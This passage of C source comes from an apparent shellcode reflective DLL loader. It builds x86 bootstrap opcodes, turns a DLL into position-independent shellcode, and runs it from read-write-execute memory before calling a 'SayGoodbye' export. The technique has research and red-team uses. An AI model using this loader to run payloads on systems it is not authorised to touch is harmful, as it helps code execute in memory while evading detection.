modifying eax 237 | bootstrap[i++] = 0x89; 238 | bootstrap[i++] = 0xc3; 239 | 240 | // add eax, + 241 | bootstrap[i++] = 0x05; 242 | dllLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength; 243 | MoveMemory(bootstrap + i, &dllLocation, sizeof(dllLocation)); 244 | i += sizeof(dllLocation); 245 | 246 | // add ebx, + + 247 | bootstrap[i++] = 0x81; 248 | bootstrap[i++] = 0xc3; 249 | userDataLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength + length; 250 | MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); 251 | i += sizeof(userDataLocation); 252 | 253 | // push 254 | bootstrap[i++] = 0x68; 255 | MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); 256 | i += sizeof(userLength); 257 | 258 | // push ebx 259 | bootstrap[i++] = 0x53; 260 | 261 | // push 262 | bootstrap[i++] = 0x68; 263 | MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); 264 | i += sizeof(userFunction); 265 | 266 | // push eax 267 | bootstrap[i++] = 0x50; 268 | 269 | // call instruction - We need to transfer execution to the RDI assembly this way (Skip over our next few op codes) 270 | bootstrap[i++] = 0xe8; 271 | bootstrap[i++] = 0x04; 272 | bootstrap[i++] = 0x00; 273 | bootstrap[i++] = 0x00; 274 | bootstrap[i++] = 0x00; 275 | 276 | // add esp, 0x10 - RDI pushes things to the stack it never removes, we need to make the correction ourselves 277 | bootstrap[i++] = 0x83; 278 | bootstrap[i++] = 0xc4; 279 | bootstrap[i++] = 0x10; 280 | 281 | // ret - because we used call earlier 282 | bootstrap[i++] = 0xc3; 283 | 284 | // Ends up looking like this in memory: 285 | // Bootstrap shellcode 286 | // RDI shellcode 287 | // DLL bytes 288 | // User data 289 | outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); 290 | outBytes = (LPSTR)malloc(outLength); 291 | MoveMemory(outBytes, bootstrap, sizeof(bootstrap)); 292 | MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); 293 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); 294 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); 295 | } 296 | 297 | return true; 298 | } 299 | 300 | typedef UINT_PTR(WINAPI * RDI)(); 301 | typedef void(WINAPI * Function)(); 302 | typedef BOOL(__cdecl * EXPORTEDFUNCTION)(LPVOID, DWORD); 303 | 304 | int main(int argc, char *argv[], char *envp[]) 305 | { 306 | LPSTR finalShellcode = NULL, data = NULL; 307 | DWORD finalSize, dataSize; 308 | 309 | if (argc < 2) { 310 | printf("\n[!] Usage:\n\n\tNativeLoader.exe \n\tNativeLoader.exe \n"); 311 | return 0; 312 | } 313 | if (!GetFileContents(argv[1], &data, dataSize)) { 314 | printf("\n[!] Failed to load file\n"); 315 | return 0; 316 | } 317 | 318 | if (data[0] == 'M' && data[1] == 'Z') { 319 | printf("\n[+] File is a DLL, attempting to convert"); 320 | 321 | if (!ConvertToShellcode(data, dataSize, 0, 0, 0, finalShellcode, finalSize)) { 322 | printf("\n[!] Failed to convert DLL"); 323 | return 0; 324 | } 325 | 326 | printf("\n[+] Successfully Converted"); 327 | } 328 | else { 329 | finalShellcode = data; 330 | finalSize = dataSize; 331 | } 332 | 333 | DWORD dwOldProtect1 = 0; 334 | 335 | if (VirtualProtect(finalShellcode, finalSize, PAGE_EXECUTE_READWRITE, &dwOldProtect1)) { 336 | RDI rdi = (RDI)(finalShellcode); 337 | 338 | printf("\n[+] Executing RDI"); 339 | UINT_PTR location = rdi(); // Excute DLL 340 | 341 | Function function = (Function)GetProcAddressR(location, "SayGoodbye"); 342 | if (function) { 343 | printf("\n[+] Calling exported functon"); 344 | function(); // Call exported function 345 | } 346 | } 347 | 348 | printf("\n"); 349 | 350 | return 0; 351 | } 352 | 353 | --------------------------------------------------------------------------------